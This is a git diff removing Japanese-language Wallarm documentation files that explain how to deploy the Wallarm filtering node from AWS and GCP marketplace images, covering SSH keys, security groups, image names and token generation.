フィルタリングノードが正しく動作するためには、Wallarm APIサーバーへのアクセスが必要です。 - -セキュリティグループの作成に関する詳細は、[AWSドキュメント][link-sg]を参照してください。 - -## 3. Wallarmノードインスタンスを起動する - -Wallarmフィルタリングノードを含むインスタンスを起動するには、この[リンク](https://aws.amazon.com/marketplace/pp/B073VRFXSD)に移動し、フィルタリングノードをサブスクライブしてください。 - -インスタンスを作成する際は、次の手順で[以前に作成した][anchor1]セキュリティグループを指定する必要があります: - -1. Launch Instance Wizardの操作中に、該当するタブをクリックしてインスタンス起動手順の**6. Configure Security Group**に進みます。 -2. **Assign a security group**設定で**Select an existing security group**オプションを選択します。 -3. 表示されるリストから該当のセキュリティグループを選択します。 - -必要なインスタンス設定をすべて指定したら、**Review and Launch**ボタンをクリックし、インスタンスが正しく構成されていることを確認してから**Launch**ボタンをクリックします。 - -表示されるウィンドウで、次の操作に従って[以前に作成した][anchor2]キー・ペアを指定します: - -1. 1つ目のドロップダウンリストで**Choose an existing key pair**オプションを選択します。 -2. 2つ目のドロップダウンリストでキー・ペアの名前を選択します。 -3. 2つ目のドロップダウンリストで指定したキー・ペアのPEM形式の秘密鍵にアクセスできることを確認し、その旨を示すチェックボックスにチェックを入れます。 -4. **Launch Instances**ボタンをクリックします。 - -フィルタリングノードがプリインストールされた状態でインスタンスが起動します。 - -AWSでのインスタンス起動に関する詳細は、[AWSドキュメント][link-launch-instance]を参照してください。 - -## 4. SSHでフィルタリングノードインスタンスに接続する - -SSHでインスタンスに接続する方法の詳細は、[AWSドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html)を参照してください。 - -インスタンスに接続するには、ユーザー名として`admin`を使用する必要があります。 - -!!! info "SSH接続にキーを使用する" - SSHでインスタンスに接続するには、[前に作成した][anchor2]PEM形式の秘密鍵を使用してください。これは、インスタンス作成時に指定したSSHキー・ペアの秘密鍵である必要があります。 - -## 5. インスタンスをWallarm Cloudに接続するためのトークンを生成する - -ローカルのWallarmフィルタリングノードは、[適切な種類][wallarm-token-types]のWallarmトークンを使用してWallarm Cloudに接続する必要があります。API tokenを使用すると、Wallarm Console UIでノードグループを作成でき、ノードインスタンスを効率的に整理できます。 - -![ノードのグループ化][img-grouped-nodes] - -以下の手順でトークンを生成します: - -=== "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPI tokenを新規作成するか、既存のものを選択します。 - 1. このトークンをコピーします。 -=== "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開きます。 - 1. 次のいずれかを実行します: - * タイプが**Wallarm node**のノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用する場合、ノードのメニュー → **Copy token**でトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md deleted file mode 100644 index 4f57770184..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md +++ /dev/null @@ -1,86 +0,0 @@ -## 要件 - -* AWSアカウントが必要です。 -* AWS EC2とSecurity Groupsに関する理解が必要です。 -* 任意のAWSリージョンを使用できます。Wallarmノードのデプロイ先リージョンに特別な制限はありません。 - - Wallarmは単一のアベイラビリティゾーン（AZ）とマルチアベイラビリティゾーンの両方のデプロイに対応しています。マルチAZ構成では、Wallarmノードを別々のアベイラビリティゾーンで起動し、高可用性のためにロードバランサーの背後に配置できます。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com:444`、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com:444`へのアクセスが必要です。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][wallarm-api-via-proxy]を使用します。 -* すべてのコマンドはWallarmインスタンス上でスーパーユーザー（例: `root`）として実行します。 - -## 1. AWSでSSHキーペアを作成します - -デプロイ中に仮想マシンへSSHで接続する必要があります。Amazon EC2では、インスタンスへの接続に使用できる公開鍵と秘密鍵のSSHキーペアを名前を付けて作成できます。 - -キーペアを作成するには: - -1. Amazon EC2ダッシュボードの**Key pairs**タブに移動します。 -2. **Create Key Pair**ボタンをクリックします。 -3. キーペア名を入力し、**Create**ボタンをクリックします。 - -PEM形式のSSH秘密鍵のダウンロードが自動的に開始します。作成したインスタンスに今後接続できるように、この鍵を保存します。 - -SSHキーの作成に関する詳細は[AWSのドキュメント][link-ssh-keys]を参照します。 - -## 2. Security Groupを作成します - -Security Groupは、仮想マシンに対する受信および送信接続の許可と拒否を定義します。最終的な接続の一覧は保護対象のアプリケーションに依存します（例: TCP/80およびTCP/443ポートへのすべての受信接続を許可）。 - -Wallarm AMIは最小限の権限で動作するよう設計されています。インスタンスをデプロイする際は、最小権限の原則に基づいてIAMロールを割り当て、Security Groupを構成することを推奨します。これは、ノードの動作に必要なアクセスのみを付与し、AWSのセキュリティベストプラクティスに沿うためです。 - -フィルタリングノード用のSecurity Groupを作成するには: - -1. Amazon EC2ダッシュボードの**Security Groups**タブに移動し、**Create Security Group**ボタンをクリックします。 -2. 表示されたダイアログにSecurity Group名と必要に応じて説明を入力します。 -3. 必要なVPCを選択します。 -4. **Inbound**タブと**Outbound**タブで受信および送信接続のルールを構成します。 -5. **Create**ボタンをクリックしてSecurity Groupを作成します。 - -![Security Groupの作成][img-create-sg] - -!!! warning "Security Groupからの送信接続のルール" - Security Groupを作成すると、既定ではすべての送信接続が許可されます。フィルタリングノードからの送信接続を制限する場合は、Wallarm APIサーバーへのアクセスが許可されていることを必ず確認します。使用しているWallarm Cloudに応じて、許可すべきWallarm APIサーバーが異なります。 - - * US Cloudを使用している場合、ノードには`us1.api.wallarm.com`へのアクセスを許可する必要があります。 - * EU Cloudを使用している場合、ノードには`api.wallarm.com`へのアクセスを許可する必要があります。 - - フィルタリングノードが適切に動作するためには、Wallarm APIサーバーへのアクセスが必要です。 - -Security Groupの作成に関する詳細は[AWSのドキュメント][link-sg]を参照します。 - -## 3. Wallarmノードインスタンスを起動します - -Wallarmフィルタリングノードを含むインスタンスを起動するには、この[リンク](https://aws.amazon.com/marketplace/pp/B073VRFXSD)に進み、フィルタリングノードをサブスクライブします。 - -インスタンスを作成する際は、次のように[先に作成した][anchor1]Security Groupを指定します: - -1. Launch Instanceウィザードで、該当のタブをクリックしてインスタンス起動ステップの**6. Configure Security Group**に進みます。 -2. **Assign a security group**設定で**Select an existing security group**オプションを選択します。 -3. 表示されたリストからそのSecurity Groupを選択します。 - -必要なインスタンス設定をすべて指定したら、**Review and Launch**ボタンをクリックし、インスタンスが正しく構成されていることを確認してから**Launch**ボタンをクリックします。 - -表示されたウィンドウで、次の操作により[先に作成した][anchor2]キーペアを指定します: - -1. 最初のドロップダウンリストで**Choose an existing key pair**オプションを選択します。 -2. 2つ目のドロップダウンリストでキーペアの名前を選択します。 -3. 2つ目のドロップダウンリストで指定したキーペアのPEM形式の秘密鍵にアクセスできることを確認し、その旨のチェックボックスにチェックを入れます。 -4. **Launch Instances**ボタンをクリックします。 - -インスタンスはフィルタリングノードがプリインストールされた状態で起動します。 - -AWSでのインスタンス起動に関する詳細は[AWSのドキュメント][link-launch-instance]を参照します。 - -## 4. SSHでフィルタリングノードインスタンスに接続します - -SSHでインスタンスに接続する方法の詳細は[AWSのドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html)を参照します。 - -インスタンスに接続するにはユーザー名`admin`を使用します。 - -!!! info "SSHで接続するためのキーの使用" - SSHでインスタンスに接続するには、[先ほど作成した][anchor2]PEM形式の秘密鍵を使用します。これは、インスタンス作成時に指定したSSHキーペアの秘密鍵である必要があります。 - -## 5. フィルタリングノードをWallarm Cloudに接続します - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md deleted file mode 100644 index 466501f3cb..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md +++ /dev/null @@ -1,90 +0,0 @@ -## 要件 - -* GCPアカウントが必要です。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス権が必要です。 -* USのWallarm Cloudを使用するために`https://us1.api.wallarm.com:444`、EUのWallarm Cloudを使用するために`https://api.wallarm.com:444`へアクセスできる必要があります。アクセスがプロキシサーバー経由でのみ構成できる場合は、[手順][wallarm-api-via-proxy]に従ってください。 -* 以下のIPアドレスへアクセスできる必要があります。これは、攻撃検出ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[許可リスト、拒否リスト、またはグレーリスト][ip-lists-docs]に登録された国、地域、またはデータセンターの正確なIPを取得するために必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" -* すべてのコマンドをスーパーユーザー（例：`root`）としてWallarmインスタンス上で実行できる必要があります。 - -## 1. フィルタリングノードインスタンスを起動します - -### Google CloudのUIからインスタンスを起動します - -Google CloudのUIからフィルタリングノードインスタンスを起動するには、[Google Cloud MarketplaceのWallarm nodeイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を開き、**GET STARTED**をクリックしてください。 - -インスタンスはフィルタリングノードがプリインストールされた状態で起動します。Google Cloudでのインスタンス起動に関する詳細は、[公式Google Cloud Platformドキュメント][link-launch-instance]をご参照ください。 - -### Terraformまたはその他のツールでインスタンスを起動します - -TerraformなどのツールでWallarmのGCPイメージを使用してフィルタリングノードインスタンスを起動する場合、Terraformの設定にこのイメージ名を指定する必要がある場合があります。 - -* イメージ名の形式は次のとおりです。 - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* フィルタリングノードのバージョン4.10でインスタンスを起動するには、次のイメージ名を使用してください。 - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -イメージ名を取得するには、次の手順でも可能です。 - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)をインストールします。 -2. 次のパラメータでコマンド[`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list)を実行します。 - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-10-*'" --no-standard-images - ``` -3. 最新の利用可能なイメージ名からバージョンの値をコピーし、提供されているイメージ名の形式に貼り付けます。例えば、フィルタリングノードのバージョン4.10のイメージは次の名前になります。 - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -## 2. フィルタリングノードインスタンスを構成します - -起動したフィルタリングノードインスタンスを構成するには、次の操作を実行します。 - -1. メニューの**Compute Engine**セクションにある**VM instances**ページに移動します。 -2. 起動したフィルタリングノードインスタンスを選択し、**Edit**ボタンをクリックします。 -3. **Firewalls**設定で該当するチェックボックスにチェックを入れ、必要な種類の受信トラフィックを許可します。 -4. 必要に応じて、プロジェクトのSSHキーによるこのインスタンスへの接続を制限し、このインスタンスへの接続にカスタムのSSHキーペアを使用できます。そのためには、次の操作を実行します。 - 1. **SSH Keys**設定で**Block project-wide**チェックボックスにチェックを入れます。 - 2. **SSH Keys**設定で**Show and edit**ボタンをクリックし、SSHキーの入力フィールドを展開します。 - 3. SSHの公開鍵と秘密鍵のペアを生成します。例えば、`ssh-keygen`やPuTTYgenユーティリティを使用できます。 - - ![PuTTYgenを使用したSSHキーの生成][img-ssh-key-generation] - - 4. 使用した鍵生成ツールのインターフェイスからOpenSSH形式の公開鍵をコピーし（この例では、PuTTYgenのインターフェイスにある「Public key for pasting into OpenSSH authorized_keys file」領域から生成された公開鍵をコピーします）、「Enter entire key data」というヒントが表示されているフィールドに貼り付けます。 - 5. 秘密鍵を保存します。今後、構成済みインスタンスへの接続に必要になります。 -5. ページ下部の**Save**ボタンをクリックして、変更を適用します。 - -## 3. SSHでフィルタリングノードインスタンスに接続します - -インスタンスへの接続方法に関する詳細は、こちらの[リンク](https://cloud.google.com/compute/docs/instances/connecting-to-instance)をご参照ください。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. インスタンスをWallarm Cloudに接続するトークンを生成します - -ローカルのWallarmフィルタリングノードは、適切な種類のWallarmトークンを使用してWallarm Cloudに接続する必要があります。APIトークンを使用すると、Wallarm Console UIでノードグループを作成でき、ノードインスタンスを効果的に整理できます。 - -![グループ化されたノード][img-grouped-nodes] - -トークンは次の手順で生成します。 - -=== "APIトークン" - - 1. Wallarm Console → **Settings** → **API tokens**を[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)で開きます。 - 1. 使用目的が`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 -=== "ノードトークン" - - 1. Wallarm Console → **Nodes**を[US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)で開きます。 - 1. 次のいずれかを実行します。 - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用する - ノードのメニュー → **Copy token**を使用してトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md deleted file mode 100644 index bc25d68734..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md +++ /dev/null @@ -1,71 +0,0 @@ -## 要件 - -* GCPアカウント -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* USのWallarm Cloudを使用する場合は`https://us1.api.wallarm.com:444`、EUのWallarm Cloudを使用する場合は`https://api.wallarm.com:444`へのアクセス。アクセスをプロキシサーバー経由でのみ構成できる場合は[手順][wallarm-api-via-proxy]を使用します -* Wallarmインスタンス上でスーパーユーザー（例：`root`）としてすべてのコマンドを実行すること - -## 1. フィルタリングノードインスタンスの起動 - -### Google Cloud UIでのインスタンス起動 - -Google Cloud UIからフィルタリングノードインスタンスを起動するには、[Google Cloud MarketplaceのWallarm nodeイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を開き、**GET STARTED**をクリックします。 - -インスタンスはフィルタリングノードがプリインストールされた状態で起動します。Google Cloudでのインスタンス起動の詳細は[公式のGoogle Cloud Platformドキュメント][link-launch-instance]を参照してください。 - -### Terraformやその他のツールでのインスタンス起動 - -TerraformなどのツールでWallarmのGCPイメージを使用してフィルタリングノードインスタンスを起動する場合、Terraformの構成でこのイメージ名を指定する必要がある場合があります。 - -* イメージ名の形式は次のとおりです。 - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* フィルタリングノードバージョン4.6でインスタンスを起動するには、次のイメージ名を使用します。 - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -イメージ名を取得するには、次の手順に従います。 - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)をインストールします。 -2. 次のパラメータで[`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list)コマンドを実行します。 - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-6-*'" --no-standard-images - ``` -3. 最新の利用可能なイメージの名前からバージョン値をコピーし、上記のイメージ名の形式に貼り付けます。たとえば、フィルタリングノードバージョン4.6のイメージ名は次のとおりです。 - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -## 2. フィルタリングノードインスタンスの構成 - -起動済みのフィルタリングノードインスタンスを構成するには、次の操作を実行します。 - -1. メニューの**Compute Engine**セクションにある**VM instances**ページに移動します。 -2. 起動したフィルタリングノードインスタンスを選択し、**Edit**ボタンをクリックします。 -3. 必要な種類の受信トラフィックを許可するには、**Firewalls**設定で該当するチェックボックスをオンにします。 -4. 必要に応じて、プロジェクトのSSHキーを使用したこのインスタンスへの接続を制限し、このインスタンスへの接続にカスタムのSSH鍵ペアを使用できます。これを行うには、次の操作を実行します。 - 1. **SSH Keys**設定で**Block project-wide**のチェックボックスをオンにします。 - 2. **SSH Keys**設定で**Show and edit**ボタンをクリックし、SSHキーを入力するフィールドを展開します。 - 3. SSH公開鍵と秘密鍵のペアを生成します。たとえば、`ssh-keygen`や`PuTTYgen`ユーティリティを使用できます。 - - ![PuTTYgenを使用したSSH鍵の生成][img-ssh-key-generation] - - 4. 使用している鍵生成ツールのインターフェイスからOpenSSH形式の公開鍵をコピーし（この例では、PuTTYgenのインターフェイスにある「Public key for pasting into OpenSSH authorized_keys file」領域から生成済み公開鍵をコピーします）、**Enter entire key data**のヒントが表示されているフィールドに貼り付けます。 - 5. 秘密鍵を保存します。これは、今後構成済みインスタンスに接続する際に必要です。 -5. ページ下部の**Save**ボタンをクリックして、変更を適用します。 - -## 3. SSHでのフィルタリングノードインスタンスへの接続 - -インスタンスへの接続方法の詳細は、[こちら](https://cloud.google.com/compute/docs/instances/connecting-to-instance)を参照してください。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. フィルタリングノードのWallarm Cloudへの接続 - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md deleted file mode 100644 index f89249aaea..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md +++ /dev/null @@ -1,71 +0,0 @@ -## 要件 - -* GCPアカウント -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)向けのWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* US Wallarm Cloudで作業するための`https://us1.api.wallarm.com:444`へのアクセス、またはEU Wallarm Cloudで作業するための`https://api.wallarm.com:444`へのアクセス。アクセスをプロキシサーバー経由でしか構成できない場合は、[手順][wallarm-api-via-proxy]に従います -* すべてのコマンドはスーパーユーザー（例: `root`）としてWallarmインスタンス上で実行します - -## 1. フィルタリングノードインスタンスを起動する - -### Google Cloud UIでインスタンスを起動する - -Google Cloud UIでフィルタリングノードインスタンスを起動するには、[Google Cloud MarketplaceのWallarm nodeイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を開き、**GET STARTED**をクリックします。 - -インスタンスはフィルタリングノードがプリインストールされた状態で起動します。Google Cloudでのインスタンス起動に関する詳細情報は、[公式Google Cloud Platformドキュメント][link-launch-instance]を参照します。 - -### Terraformまたは他のツールでインスタンスを起動する - -Wallarm GCPイメージを使用してフィルタリングノードインスタンスを起動する際にTerraformなどのツールを使用する場合、Terraformの設定でこのイメージの名前を指定する必要がある場合があります。 - -* イメージ名は次の形式です: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* フィルタリングノードバージョン4.8でインスタンスを起動するには、次のイメージ名を使用します: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -イメージ名を取得するには、次の手順に従うこともできます: - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)をインストールします。 -2. 次のパラメータでコマンド[`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list)を実行します: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-8-*'" --no-standard-images - ``` -3. 利用可能な最新のイメージ名からバージョン値をコピーし、提供されたイメージ名の形式に貼り付けます。例えば、フィルタリングノードバージョン4.8のイメージ名は次のようになります: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -## 2. フィルタリングノードインスタンスを設定する - -起動したフィルタリングノードインスタンスを設定するには、次の操作を実行します: - -1. メニューの**Compute Engine**セクションにある**VM instances**ページに移動します。 -2. 起動したフィルタリングノードインスタンスを選択し、**Edit**ボタンをクリックします。 -3. 必要な種類の受信トラフィックを許可するには、**Firewalls**設定で該当するチェックボックスをオンにします。 -4. 必要に応じて、プロジェクトのSSHキーでこのインスタンスへの接続を制限し、このインスタンスへの接続にカスタムSSHキーのペアを使用できます。これを行うには、次の操作を実行します: - 1. **SSH Keys**設定で**Block project-wide**チェックボックスをオンにします。 - 2. **SSH Keys**設定の**Show and edit**ボタンをクリックして、SSHキーを入力するフィールドを展開します。 - 3. 公開鍵と秘密鍵のSSHキーのペアを生成します。例えば、`ssh-keygen`や`PuTTYgen`ユーティリティを使用できます。 - - ![PuTTYgenを使用したSSH鍵の生成][img-ssh-key-generation] - - 4. 使用している鍵生成ツールのインターフェースからOpenSSH形式の公開鍵をコピーし（この例では、PuTTYgenのインターフェースの**Public key for pasting into OpenSSH authorized_keys file**エリアから生成された公開鍵をコピーします）、**Enter entire key data**ヒントが表示されているフィールドに貼り付けます。 - 5. 秘密鍵を保存します。これは今後、構成したインスタンスへの接続に必要です。 -5. ページ下部の**Save**ボタンをクリックして変更を適用します。 - -## 3. SSHでフィルタリングノードインスタンスに接続する - -インスタンスへの接続方法の詳細は、この[リンク](https://cloud.google.com/compute/docs/instances/connecting-to-instance)を参照します。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. フィルタリングノードをWallarm Cloudに接続する - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md deleted file mode 100644 index dcafc9848a..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md +++ /dev/null @@ -1,90 +0,0 @@ -## 要件 - -* GCPアカウント -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* US Wallarm Cloudで作業するための`https://us1.api.wallarm.com:444`、またはEU Wallarm Cloudで作業するための`https://api.wallarm.com:444`へのアクセス。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][wallarm-api-via-proxy]を使用します -* 以下のIPアドレスへのアクセス。これは、攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、[許可リスト、拒否リスト、またはグレーリスト][ip-lists-docs]に登録した国、地域、またはデータセンターの正確なIPを取得するために必要です - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarmインスタンス上でスーパーユーザー（例：`root`）としてすべてのコマンドを実行できること - -## 1. フィルタリングノードインスタンスの起動 - -### Google Cloud UI経由でのインスタンス起動 - -Google Cloud UI経由でフィルタリングノードインスタンスを起動するには、[Google Cloud MarketplaceのWallarm node image](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を開き、**GET STARTED**をクリックします。 - -インスタンスは、フィルタリングノードが事前インストールされた状態で起動します。Google Cloudでのインスタンス起動の詳細については、[公式のGoogle Cloud Platformドキュメント][link-launch-instance]をご覧ください。 - -### Terraformなどのツール経由でのインスタンス起動 - -WallarmのGCPイメージを使用してTerraformなどのツールでフィルタリングノードインスタンスを起動する場合、Terraform構成でこのイメージ名を指定する必要がある場合があります。 - -* イメージ名の形式は次のとおりです。 - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* フィルタリングノードのバージョン5.xでインスタンスを起動するには、次のイメージ名を使用します。 - - ```bash - wallarm-node-195710/wallarm-node-5-3-17-20250821-111038 - ``` - -イメージ名は、次の手順でも取得できます。 - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)をインストールします。 -2. 次のパラメータでコマンド[`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list)を実行します。 - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-5-3-*'" --no-standard-images - ``` -3. 利用可能な最新のイメージ名からバージョン値をコピーし、提示したイメージ名の形式に貼り付けます。たとえば、フィルタリングノードのバージョン4.10のイメージは次の名前になります。 - - ```bash - wallarm-node-195710/wallarm-node-5-3-17-20250821-111038 - ``` - -## 2. フィルタリングノードインスタンスの設定 - -起動したフィルタリングノードインスタンスを設定するには、次の操作を実行します。 - -1. メニューの**Compute Engine**セクションにある**VM instances**ページに移動します。 -2. 起動したフィルタリングノードインスタンスを選択し、**Edit**ボタンをクリックします。 -3. **Firewalls**設定で該当するチェックボックスをオンにして、必要な種類の受信トラフィックを許可します。 -4. 必要に応じて、プロジェクトのSSHキーによるこのインスタンスへの接続を制限し、このインスタンスへの接続にカスタムのSSHキーペアを使用できます。これを行うには、次の操作を実行します。 - 1. **SSH Keys**設定で**Block project-wide**チェックボックスをオンにします。 - 2. **SSH Keys**設定で**Show and edit**ボタンをクリックし、SSHキーを入力するフィールドを展開します。 - 3. 公開鍵と秘密鍵のSSHキーペアを生成します。たとえば、`ssh-keygen`や`PuTTYgen`ユーティリティを使用できます。 - - ![PuTTYgenを使用したSSHキーの生成][img-ssh-key-generation] - - 4. 使用している鍵生成ツールのインターフェースからOpenSSH形式の公開鍵をコピーし（この例では、PuTTYgenインターフェースの**Public key for pasting into OpenSSH authorized_keys file**領域から生成された公開鍵をコピーします）、ヒント**Enter entire key data**が表示されているフィールドに貼り付けます。 - 5. 秘密鍵を保存します。これは、今後この設定済みインスタンスに接続する際に必要になります。 -5. ページ下部の**Save**ボタンをクリックして変更を適用します。 - -## 3. SSH経由でフィルタリングノードインスタンスに接続 - -インスタンスへの接続方法の詳細については、こちらの[リンク](https://cloud.google.com/compute/docs/instances/connecting-to-instance)をご覧ください。 - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. インスタンスをWallarm Cloudに接続するトークンの生成 - -ローカルのWallarmフィルタリングノードは、適切な種類のWallarmトークンを使用してWallarm Cloudに接続する必要があります。APIトークンを使用すると、Wallarm Console UIでノードグループを作成でき、ノードインスタンスを効果的に整理できます。 - -![グループ化されたノード][img-grouped-nodes] - -トークンは次の手順で生成します。 - -=== "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 -=== "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開きます。 - 1. 次のいずれかを実行します: - * タイプが**Wallarm node**のノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用する場合は、ノードのメニュー → **Copy token**を使用してトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md b/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md deleted file mode 100644 index 1d7a0ed259..0000000000 --- a/include-ja/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md +++ /dev/null @@ -1,90 +0,0 @@ -## 要件 - -* GCPアカウント -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* USのWallarm Cloudで作業するための`https://us1.api.wallarm.com:444`へのアクセス、またはEUのWallarm Cloudで作業するための`https://api.wallarm.com:444`へのアクセス。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][wallarm-api-via-proxy]を使用します -* 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[Allowlist、Denylist、Graylist][ip-lists-docs]に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" -* すべてのコマンドをWallarmインスタンス上でスーパーユーザー（例：`root`）として実行します - -## 1. フィルタリングノードインスタンスを起動する - -### Google Cloud UIからインスタンスを起動する - -Google Cloud UIからフィルタリングノードインスタンスを起動するには、[Google Cloud MarketplaceのWallarm nodeイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を開き、**GET STARTED**をクリックします。 - -このインスタンスはフィルタリングノードがプリインストールされた状態で起動します。Google Cloudでのインスタンス起動に関する詳細は、[公式のGoogle Cloud Platformドキュメント][link-launch-instance]をご覧ください。 - -### Terraformやその他のツールでインスタンスを起動する - -TerraformなどのツールでWallarmのGCPイメージを使用してフィルタリングノードインスタンスを起動する場合、Terraformの構成でこのイメージ名を指定する必要があります。 - -* イメージ名の形式は次のとおりです： - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* フィルタリングノードのバージョン5.xでインスタンスを起動するには、次のイメージ名を使用します。 - - ```bash - wallarm-node-195710/wallarm-node-6-4-0-20250730-083353 - ``` - -イメージ名を取得するには、次の手順を実行することもできます。 - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)をインストールします。 -2. 次のパラメータで[`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list)コマンドを実行します。 - - ```bash - gcloud compute images list --project wallarm-node-195710 